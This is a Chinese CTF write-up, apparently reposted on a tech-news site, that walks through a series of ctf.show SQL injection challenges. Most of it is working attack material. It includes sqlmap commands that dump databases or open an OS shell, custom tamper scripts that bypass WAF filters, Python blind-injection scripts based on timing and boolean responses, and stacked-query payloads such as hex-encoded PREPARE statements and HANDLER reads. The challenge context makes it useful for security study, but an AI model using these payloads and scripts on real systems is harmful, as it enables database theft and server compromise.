其實不使用,sqlmap也可以判斷出來。
python2 sqlmap.py -u "http://a3eb3756-01fe-4ca1-a236-21d47920bd25.chall.ctf.show/api/index.php" --method=PUT --data="id=1" --referer=ctf.show --dbms=mysql -D "ctfshow_web" -T "ctfshow_flaxc" -C "flagv" --dump --headers="Content-Type: text/plain" --safe-url=http://a3eb3756-01fe-4ca1-a236-21d47920bd25.chall.ctf.show/api/getToken.php --safe-freq=1 --batch
--tamper 的初體驗
function waf($str){
return preg_match('/ /', $str);
}
直接使用sqlmap自帶 tamper 腳本,繞過空格過濾
python2 sqlmap.py -u "http://9ebc2f80-ebe8-4ac2-8b2c-0283b6fce95b.chall.ctf.show/api/index.php" --method=PUT --data="id=1" --referer=ctf.show --headers="Content-Type:text/plain" --safe-url="http://9ebc2f80-ebe8-4ac2-8b2c-0283b6fce95b.chall.ctf.show/api/getToken.php" --safe-freq=1 --dbs --tamper=space2comment --batch
python2 sqlmap.py -u "http://2fe69805-4831-45bb-b61c-a146cd3e448b.chall.ctf.show/api/index.php" --method=PUT --data="id=1" --referer=ctf.show --headers="Content-Type:text/plain" --safe-url="http://2fe69805-4831-45bb-b61c-a146cd3e448b.chall.ctf.show/api/getToken.php" --safe-freq=1 -D ctfshow_web -T ctfshow_flaxca --dump --tamper=space2comment --batch
--tamper 的2體驗
查詢語句
//拼接sql語句查找指定ID用戶
$sql = "select id,username,pass from ctfshow_user where id = ('".$id."') limit 0,1;";
返回邏輯//對傳入的參數進行了過濾
// $id = str_replace('select', '', $id);
function waf($str){
return preg_match('/ /', $str);
}
過濾大小寫空格,所以直接上題tamper就可以。
python2 sqlmap.py -u "http://9ebc2f80-ebe8-4ac2-8b2c-0283b6fce95b.chall.ctf.show/api/index.php" --method=PUT --data="id=1" --referer=ctf.show --headers="Content-Type:text/plain" --safe-url="http://9ebc2f80-ebe8-4ac2-8b2c-0283b6fce95b.chall.ctf.show/api/getToken.php" --safe-freq=1 -D ctfshow_web --dump --tamper=space2comment --batch
查詢語句
//拼接sql語句查找指定ID用戶
$sql = "select id,username,pass from ctfshow_user where id = '".$id."' limit 0,1;";
返回邏輯//對傳入的參數進行了過濾
function waf($str){
//TODO 未完工
return preg_match('/ |*|=/', $str);
}
過濾空格,* ,= .
還是自己學寫 tamper 腳本吧,
教程點這里
#!/usr/bin/env python from lib.core.compat import xrange from lib.core.enums import PRIORITY __priority__ = PRIORITY.LOW def tamper(payload, **kwargs): payload = space2comment(payload) return payload def space2comment(payload): retVal = payload if payload: retVal = "" quote, doublequote, firstspace = False, False, False for i in xrange(len(payload)): if not firstspace: if payload[i].isspace(): firstspace = True retVal += chr(0x0a) continue elif payload[i] == '\'': quote = not quote elif payload[i] == '"': doublequote = not doublequote elif payload[i] == "*": retVal += chr(0x31) continue elif payload[i] == "=": retVal += chr(0x0a)+'like'+chr(0x0a) continue elif payload[i] == " " and not doublequote and not quote: retVal += chr(0x0a) continue retVal += payload[i] return retVal
python2 sqlmap.py -u http://d93f9b84-d223-4f3d-8786-2b92e5b2535f.chall.ctf.show/api/index.php --method=PUT --data="id=1" --referer=ctf.show --headers="Content-Type:text/plain" --safe-url="http://d93f9b84-d223-4f3d-8786-2b92e5b2535f.chall.ctf.show/api/getToken.php" --safe-freq=1 -D ctfshow_web -T ctfshow_flav --dump --tamper=web209 --batch
//對查詢字符進行解密
function decode($id){
return strrev(base64_decode(strrev(base64_decode($id))));
}
先解碼再字符反轉再解碼再字符反轉.
python2 sqlmap.py -u http://b34c15e0-d318-4afa-a8e1-9e4a306571c2.chall.ctf.show/api/index.php --method=PUT --data="id=1" --referer=ctf.show --headers="Content-Type:text/plain" --safe-url="http://b34c15e0-d318-4afa-a8e1-9e4a306571c2.chall.ctf.show/api/getToken.php" --safe-freq=1 -D ctfshow_web -T ctfshow_flavi --dump --tamper=web210 --batch
#!/usr/bin/env python import base64 from lib.core.convert import encodeBase64 from lib.core.enums import PRIORITY __priority__ = PRIORITY.LOW def dependencies(): pass def tamper(payload, **kwargs): if payload: payload = base64.b64encode(payload[::-1].encode("utf-8")) payload = base64.b64encode(payload[::-1].encode("utf-8")) return payload
//對查詢字符進行解密
function decode($id){
return strrev(base64_decode(strrev(base64_decode($id))));
}
function waf($str){
return preg_match('/ /', $str);
}
那就先加個空格繞過,
python2 sqlmap.py -u http://c07a61ff-1abf-4836-aed1-c37bad8a566b.chall.ctf.show/api/index.php --method=PUT --data="id=1" --referer=ctf.show --headers="Content-Type:text/plain" --safe-url="http://c07a61ff-1abf-4836-aed1-c37bad8a566b.chall.ctf.show/api/getToken.php" --safe-freq=1 -D ctfshow_web -T ctfshow_flavia --dump --tamper=web211 --batch
#!/usr/bin/env python import base64 from lib.core.convert import encodeBase64 from lib.core.enums import PRIORITY __priority__ = PRIORITY.LOW def dependencies(): pass def tamper(payload, **kwargs): """ Base64-encodes all characters in a given payload >>> tamper("1' AND SLEEP(5)#") 'MScgQU5EIFNMRUVQKDUpIw==' """ if payload: payload = payload.replace(" ","/**/") payload = base64.b64encode(payload[::-1].encode("utf-8")) payload = base64.b64encode(payload[::-1].encode("utf-8")) return payload
//對查詢字符進行解密
function decode($id){
return strrev(base64_decode(strrev(base64_decode($id))));
}
function waf($str){
return preg_match('/ |*/', $str);
}
python2 sqlmap.py -u http://fa1a6ea9-f2ee-4da5-9e8a-cbbb0e31d125.chall.ctf.show/api/index.php --method=PUT --data="id=1" --referer=ctf.show --headers="Content-Type:text/plain" --safe-url="http://fa1a6ea9-f2ee-4da5-9e8a-cbbb0e31d125.chall.ctf.show/api/getToken.php" --safe-freq=1 -D ctfshow_web -T ctfshow_flavis --dump --tamper=web212 --batch
#!/usr/bin/env python import base64 from lib.core.convert import encodeBase64 from lib.core.enums import PRIORITY __priority__ = PRIORITY.LOW def dependencies(): pass def space2comment(payload): retVal = payload if payload: retVal = "" quote, doublequote, firstspace = False, False, False for i in xrange(len(payload)): if not firstspace: if payload[i].isspace(): firstspace = True retVal += chr(0x0a) continue elif payload[i] == '\'': quote = not quote elif payload[i] == '"': doublequote = not doublequote elif payload[i] == "*": retVal += chr(0x31) continue elif payload[i] == "=": retVal += chr(0x0a)+'like'+chr(0x0a) continue elif payload[i] == " " and not doublequote and not quote: retVal += chr(0x0a) continue retVal += payload[i] return retVal def tamper(payload, **kwargs): if payload: payload = space2comment(payload) payload = payload.replace(" ","/**/") payload = base64.b64encode(payload[::-1].encode("utf-8")) payload = base64.b64encode(payload[::-1].encode("utf-8")) return payload
練習使用--os-shell 一鍵getshell
//對查詢字符進行解密
function decode($id){
return strrev(base64_decode(strrev(base64_decode($id))));
}
function waf($str){
return preg_match('/ |*/', $str);
}
https://zhuanlan.zhihu.com/p/58007573
python2 sqlmap.py -u http://4588589d-2509-4ce9-ae0a-7850a7a75f0d.chall.ctf.show/api/index.php --method=PUT --data="id=1" --referer=ctf.show --headers="Content-Type:text/plain" --safe-url="http://4588589d-2509-4ce9-ae0a-7850a7a75f0d.chall.ctf.show/api/getToken.php" --safe-freq=1 --os-shell --tamper=web212 --batch
直接getshell
payload:
post: debug=1&ip=if(ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),1,1))>1,sleep(2),0)
寫個腳本:
自增法:
# @Author: yanmie import requests url = "http://404d8d96-01d3-4d8e-a14e-aaf5c80a5d67.chall.ctf.show/api/" payload = "if(ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),{},1))={},sleep(2),0)" i = 0 table = "" while True: i += 1 for j in range(127): data = { "debug" : 1, "ip" : payload.format(i,j) } try: response = requests.post(url=url,data=data,timeout=1) except Exception as e: break; if j == 126: break table += chr(j) print(table.lower()) # 得到 ctfshow_flagx,ctfthow_info
有點慢,在寫個二分法:
# @Author: yanmie import requests url = "http://1a8ae547-99fa-47fe-b1a2-7a163a579dcf.chall.ctf.show/api/" # payload = "if(ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),{},1))>{},sleep(2),0)" # 得到 ctfshow_flagx,ctfthow_info # payload = "if(ascii(substr((select group_concat(column_name) from information_schema.columns where table_name='ctfshow_flagx'),{},1))>{},sleep(2),0)" # 得到 id,flaga,info payload = "if(ascii(substr((select group_concat(flaga) from ctfshow_flagx),{},1))>{},sleep(3),0)" # 得到 flag i = 0 result = "" while True: i += 1 head = 0 tail =127 while head<tail: mid = (head+tail)//2 data = { "debug" : 1, "ip" : payload.format(i,mid) } try: response = requests.post(url=url,data=data,timeout=2) # print(head,tail,mid) tail = mid except Exception as e: head = mid+1 if head == 0: break result += chr(head) print(result.lower())
//用了單引號
payload:
POST: debug=1&ip=1' or if(ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),1,1))>1,sleep(5),0) and '1'='1
腳本:
# @Author: yanmie import requests url = "http://b8e578e0-8b1d-4e02-a389-41a12277e5e8.chall.ctf.show/api/" # payload = "1' or if(ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),{},1))>{},sleep(5),0) and '1'='1" # 得到 ctfshow_flagxc,ctfshow_info payload = "1' or if(ascii(substr((select group_concat(column_name) from information_schema.columns where table_name='ctfshow_flagxc'),{},1))>{},sleep(5),0) and '1'='1" # 得到 id,flagaa,info payload = "1' or if(ascii(substr((select group_concat(flagaa) from ctfshow_flagxc),{},1))>{},sleep(5),0) and '1'='1" # 得到 flag i = 0 result = "" while True: i += 1 head = 0 tail =127 while head<tail: mid = (head+tail)//2 data = { "debug" : 1, "ip" : payload.format(i,mid) } try: response = requests.post(url=url,data=data,timeout=2) # print(head,tail,mid) tail = mid except Exception as e: head = mid+1 if head == 0: break result += chr(head) print(result.lower())
where id = from_base64($id);
payload:
debug=1&ip=1) or if(ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),1,1))>1,sleep(5),0)and (1=1
# @Author: yanmie import requests url = "http://5abfff46-12f9-4393-b2cc-6e1e1380b39f.chall.ctf.show/api/" # payload = "1) or if(ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),{},1))>{},sleep(5),0)and (1=1" # 得到 ctfshow_flagxcc,ctfshow_info # payload = "1) or if(ascii(substr((select group_concat(column_name) from information_schema.columns where table_name='ctfshow_flagxcc'),{},1))>{},sleep(5),0)and (1=1" # 得到 id,flagaac,info payload = "1) or if(ascii(substr((select group_concat(flagaac) from ctfshow_flagxcc),{},1))>{},sleep(5),0) and (1=1" # 得到 flag i = 0 result = "" while True: i += 1 head = 0 tail =127 while head<tail: mid = (head+tail)//2 data = { "debug" : 1, "ip" : payload.format(i,mid) } try: response = requests.post(url=url,data=data,timeout=2) # print(head,tail,mid) tail = mid except Exception as e: head = mid+1 if head == 0: break result += chr(head) print(result.lower())
查詢語句
where id = ($id);返回邏輯
//屏蔽危險分子
function waf($str){
return preg_match('/sleep/i',$str);
}
過濾了 sleep 。
但是還有其他函數, mysql 時間盲注五種延時方法
BENCHMARK(count,expr)
BENCHMARK會重復計算expr表達式count次,通過這種方式就可以評估出mysql執行這個expr表達式的效率。
那我們就讓他計算很多次,時間不就長了嗎?比如BENCHMARK(21111111+1)
,大約3秒多(口數)
payload:
debug=1&ip=1) or if(ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),1,1))>1,BENCHMARK(21111111,1+1),0)and (1=1
# @Author: yanmie import requests url = "http://146ccae4-2a48-4709-94be-49e0657a5056.chall.ctf.show/api/" # payload = "1) or if(ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),{},1))>{},BENCHMARK(21111111,1+1),0)and (1=1" # 得到 ctfshow_flagxccb,ctfshow_info # payload = "1) or if(ascii(substr((select group_concat(column_name) from information_schema.columns where table_name='ctfshow_flagxccb'),{},1))>{},BENCHMARK(21111111,1+1),0)and (1=1" # 得到 id,flagaabc,info payload = "1) or if(ascii(substr((select group_concat(flagaabc) from ctfshow_flagxccb),{},1))>{},BENCHMARK(21111111,1+1),0)and (1=1" # 得到 flag i = 0 result = "" while True: i += 1 head = 0 tail =127 while head<tail: mid = (head+tail)//2 data = { "debug" : 1, "ip" : payload.format(i,mid) } try: response = requests.post(url=url,data=data,timeout=2) # print(head,tail,mid) tail = mid except Exception as e: head = mid+1 if head == 0: break result += chr(head) print(result.lower())
function waf($str){
return preg_match('/sleep|benchmark/i',$str);
}
把benchmark
也過濾了。
不過不慌還可以通過RLIKE
。
rpad(str,len,padstr)
返回字符串str,右填充以字符串str中墊到len字符長度。如果str為大于len,返回值被縮短至len個字符。repeat(str,count)
返回由字符串str重復count次的字符串。 如果計數小于1,則返回一個空字符串。返回NULL如果str或count為NULL。like 的內容不是正則,而是通配符
rlike 的內容可以是正則
如select rpad('a',2,'a') RLIKE concat(repeat('(a.*)+',2222222),'b');
耗時 4 秒左右
但是從web有點奇怪,就只返回固定的一小段時間。差不多 1 秒。
換種方式,迪卡爾積
payload:
debug=1&ip=if(ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),1,1))>1,(SELECT count(*) FROM information_schema.columns A, information_schema.columns B, information_schema.tables C),0)
function waf($str){
return preg_match('/sleep|benchmark|rlike/i',$str);
}
過濾了rlike
,,可以笛卡爾積。
debug=1&ip=if(ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),1,1))>1,(SELECT count(*) FROM information_schema.columns A, information_schema.columns B, information_schema.tables C),0)
function waf($str){
return preg_match('/sleep|benchmark|rlike|ascii|hex|concat_ws|concat|mid|substr/i',$str);
}
使用 ord 代替 ascii
使用 locate 代替 substr
使用笛卡爾積
查詢語句
//分頁查詢
$sql = select * from ctfshow_user limit ($page-1)*$limit,$limit;
返回邏輯//TODO:很安全,不需要過濾
//拿到數據庫名字就算你贏
在LIMIT
后面可以跟兩個函數,PROCEDURE
和INTO
,into需要寫權限,一般不常見,但是PROCEDURE
在msyql5.7以后已經棄用,8.0直接刪除了。。。
P牛文章
payload:
http://1c1edfaa-f567-4fba-a04f-285c886e937d.chall.ctf.show/api/?page=2&limit=1 procedure analyse(extractvalue(rand(),concat(0x3a,database())),1)
查詢語句
//分頁查詢
$sql = select * from ctfshow_user group by $username;返回邏輯
//TODO:很安全,不需要過濾
可使用盲注
payload
http://84f3c1f3-59e9-47e4-9855-c2af4f32432d.chall.ctf.show/api/?u=if((1=2),username,0)&page=2&limit=10
腳本:
# Author: yanmie import requests url = "http://84f3c1f3-59e9-47e4-9855-c2af4f32432d.chall.ctf.show/api/" # payload = "if(ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),{},1))>{},username,0)" # 得到 ctfshow_flaga,ctfshow_user # payload = "if(ascii(substr((select group_concat(column_name) from information_schema.columns where table_name='ctfshow_flaga'),{},1))>{},username,0)" # 得到 id,flagaabc,info payload = "if(ascii(substr((select group_concat(flagaabc) from ctfshow_flaga),{},1))>{},username,0)" # 得到flag result = "" i = 0 while True: i += 1 head = 0 tail = 127 while head<tail: mid = (head+tail)//2 param = { "u" : payload.format(i,mid), } response = requests.get(url=url,params=param) if "passwordAUTO" in response.text: head = mid+1 else: tail = mid if head==0: break; result += chr(head) print(result)
//用戶名不能是數字
與上題一樣,不過是過濾了數字.那就利用 true 為 1
payload:
http://b3adbf2f-6e3b-4d2c-965f-b95fe91cfeb7.chall.ctf.show/api/?u=if((true=true),username,'a')
腳本:
# Author: yanmie import requests url = "http://b3adbf2f-6e3b-4d2c-965f-b95fe91cfeb7.chall.ctf.show/api/" # payload = "if(ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),{},{}))>{},username,'a')" # 得到 ctfshow_flagas,ctfshow_user # payload = "if(ascii(substr((select group_concat(column_name) from information_schema.columns where table_name='ctfshow_flagas'),{},{}))>{},username,'a')" # 得到 id,flagasabc,info payload = "if(ascii(substr((select group_concat(flagasabc) from ctfshow_flagas),{},{}))>{},username,'a')" # 得到 flag result = "" i = 0 def createNum(num): if num==1: return True else: res = "True" for i in range(num-1): res += "+True" return res while True: i += 1 head = 0 tail = 127 while head<tail: mid = (head+tail)//2 params = { "u" : payload.format(createNum(i),createNum(1),createNum(mid)), } response = requests.get(url=url,params=params) if "passwordAUTO" in response.text: head = mid+1 else: tail = mid if head == 0 : print("[+]the result is : ",result) break result += chr(head) print(result)
可以看這里
查詢語句
//分頁查詢
$sql = "select id,username,pass from ctfshow_user where username = '{$username}';";返回邏輯
//師傅說過濾的越多越好
if(preg_match('/file|into|dump|union|select|update|delete|alter|drop|create|describe|set/i',$username)){
die(json_encode($ret));
}
過濾了很多,但沒過濾 show ,可以配合 hander 讀數據
https://blog.51cto.com/15023289/2559944
payload
?username=1';show tables;handler ctfshow_flagasa open;handler ctfshow_flagasa read first;
還可以預編譯
預編譯也能用變量
SET @tn = 'hahaha';
//存儲表名SET @sql = concat('select * from ', @tn);
//存儲SQL語句PREPARE name from @sql;
//預定義SQL語句EXECUTE name;
//執行預定義SQL語句(DEALLOCATE || DROP) PREPARE sqla;
//刪除預定義SQL語句
username=1';show tables;PREPARE name from concat('sel','ect * from ctfshow_flagasa');EXECUTE name;
if(preg_match('/file|into|dump|union|select|update|delete|alter|drop|create|describe|set|show|\(/i',$username)){
die(json_encode($ret));
}
過濾了show
和 括號,那就不能使用 concat 連接了。
使用十六進制編碼
paylaod:
username=1';PREPARE name from 0x73686F77207461626C6573;EXECUTE name; username=1';PREPARE name from 0x73656C656374202A2066726F6D2063746673685F6F775F666C61676173;EXECUTE name;
存儲過程。
參考:
https://www.runoob.com/w3cnote/mysql-stored-procedure.html https://blog.csdn.net/qq_41573234/article/details/80411079
# [http://da1dd134-9aac-46e1-942d-17dff2dd1c33.chall.ctf.show/api/?username=1%27;PREPARE](http://da1dd134-9aac-46e1-942d-17dff2dd1c33.chall.ctf.show/api/?username=1%27;PREPARE) name from 0x2053454C**4543542020202A20202046524F4D202020696E666F726D6174696F6E5F736368656D612E526F7574696E657320776865726520524F5554494E455F4E414D45203D27676574466C616727;EXECUTE name;
還是可以轉十六進制。
過濾內容:
{"code":0,"msg":"\u67e5\u8be2\u6210\u529f","count":1,"data":[{"id":"1","char":"union"},{"id":"2","char":"file"},{"id":"3","char":"into"},{"id":"4","char":"handler"},{"id":"5","char":"db"},{"id":"6","char":"select"},{"id":"7","char":"update"},{"id":"8","char":"dump"},{"id":"9","char":"delete"},{"id":"10","char":"create"},{"id":"11","char":"drop"},{"id":"12","char":"show"},{"id":"13","char":"describe"},{"id":"14","char":"set"},{"id":"15","char":"alter"}]}
payload:
?username=1';PREPARE name from 0x73656C656374202A2066726F6D2063746673685F6F775F666C616761736161;EXECUTE name;
十六進制。
payload:
?username=1';PREPARE name from 0x73656C656374202A2066726F6D20666C6167;EXECUTE name;
還是十六進制預編譯
?username=1';PREPARE name from 0x73656C656374202A2066726F6D20666C61676161626278;EXECUTE name;
查詢語句
//分頁查詢
$sql = "update ctfshow_user set pass = '{$password}' where username = '{$username}';";
payload:
password=1',username=(select group_concat(table_name) from information_schema.tables where table_schema=database())where 1#&username=1 # 得到 banlist,ctfshow_user,flaga password=1',username=(select group_concat(column_name) from information_schema.columns where table_name='flaga')where 1#&username=1 # 得到 id,flagas,info password=1',username=(select group_concat(flagas) from flaga)where 1#&username=1 # 得到flag
查詢語句
//分頁查詢
$sql = "update ctfshow_user set pass = md5('{$password}') where username = '{$username}';";
和上一題一樣的,
只不過閉合方式發生了變化。
payload:
password=1'),username=(select group_concat(flagass) from flagaa)where 1#&username=1
時間盲注,
payload:
password=1&username=ctfshow' and sleep(5) and '1'='1
腳本:
# @Author: yanmie import requests url = "http://97240940-d8ac-45e4-92f4-4d4baeb81d18.chall.ctf.show/api/" # paylaod = "ctfshow' and if(ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),{},1))>{},sleep(0.5),1) and '1'='1" # 得到 banlist,ctfshow_user,flag233333 # paylaod = "ctfshow' and if(ascii(substr((select group_concat(column_name) from information_schema.columns where table_name='flag233333'),{},1))>{},sleep(0.5),1) and '1'='1" # 得到 id,flagass233,info paylaod = "ctfshow' and if(ascii(substr((select group_concat(flagass233) from flag233333),{},1))>{},sleep(0.5),1) and '1'='1" result = "" i = 0 while True: i += 1 head = 0 tail = 127 while head<tail: mid = (head+tail)//2 data = { "password" : 1, "username" : paylaod.format(i,mid), } try: response = requests.post(url=url,data=data,timeout=0.5) tail = mid except Exception as e: head = mid+1 if head == 0: print("[+]the result is : ",result) break result += chr(head) print(result)
過濾了單引號。可以利用\
實現單引號逃逸。
password=\&username=,username=(select group_concat(table_name) from information_schema.tables where table_schema=database())#
此時查詢語句:
$sql = "update ctfshow_user set pass = '\' where username = '\&username=,username=(select group_concat(table_name) from information_schema.tables where table_schema=database())#';";
password就會變為' where username =
。
payload:
password=\&username=,username=(select group_concat(column_name) from information_schema.columns where table_name=0x666C6167323361)# password=\&username=,username=(select flagass23s3 from flag23a)#
看完上述內容,你們掌握php中常見sql注入類型有哪些的方法了嗎?如果還想學到更多技能或想了解更多相關內容,歡迎關注億速云行業資訊頻道,感謝各位的閱讀!
免責聲明:本站發布的內容(圖片、視頻和文字)以原創、轉載和分享為主,文章觀點不代表本網站立場,如果涉及侵權請聯系站長郵箱:is@yisu.com進行舉報,并提供相關證據,一經查實,將立刻刪除涉嫌侵權內容。